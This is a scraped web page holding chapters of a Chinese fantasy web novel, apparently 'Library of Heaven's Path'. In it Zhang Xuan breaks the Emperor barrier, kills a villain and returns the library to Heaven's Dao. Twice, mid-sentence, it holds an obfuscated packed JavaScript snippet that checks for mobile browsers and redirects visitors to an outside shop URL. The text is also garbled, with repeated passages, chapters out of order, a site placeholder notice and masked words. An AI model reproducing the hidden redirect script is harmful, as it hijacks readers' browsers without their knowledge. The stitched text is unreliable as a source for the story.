“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546029|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第57章还记得我们第一次见到海吗 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546030|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 